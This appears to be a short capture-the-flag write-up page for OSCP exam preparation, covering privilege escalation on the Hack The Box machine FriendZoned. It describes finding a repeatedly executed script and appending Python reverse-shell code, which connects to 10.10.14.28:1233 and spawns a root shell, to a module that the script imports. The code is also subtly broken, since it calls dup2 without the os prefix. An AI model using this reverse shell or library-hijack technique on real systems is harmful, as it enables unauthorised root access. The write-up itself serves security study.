> For the complete documentation index, see [llms.txt](https://manuelvazquez-contact.gitbook.io/oscp-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manuelvazquez-contact.gitbook.io/oscp-prep/hack-the-box/friendzoned/post-exploitation.md).

# Post Exploitation

## Privelege Escalation

Transfer LinEnum.sh over through SMB, wget will not work :( 

![](/files/-MIOu7fxIz7wG7PaNmQ5)

![](/files/-MIP4bSmmDZ9QM_tutTv)

![Appears that this script is being executed repeatedly ](/files/-MIP6DlkVbPlcVctdzXy)

The file only has read permissions, after reading the file, we see that it runs the os module. We can check if that is configured correctly. 

![](/files/-MIP6oNT70KXh8BCx1SL)

![](/files/-MIP8-gecyYhe8B41sCO)

Added the following code to the end of the file

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.28",1233));
dup2(s.fileno(),0); 
dup2(s.fileno(),1); 
dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
```

![We are root! ](/files/-MIPAaVh4L65JAyYi2Lm)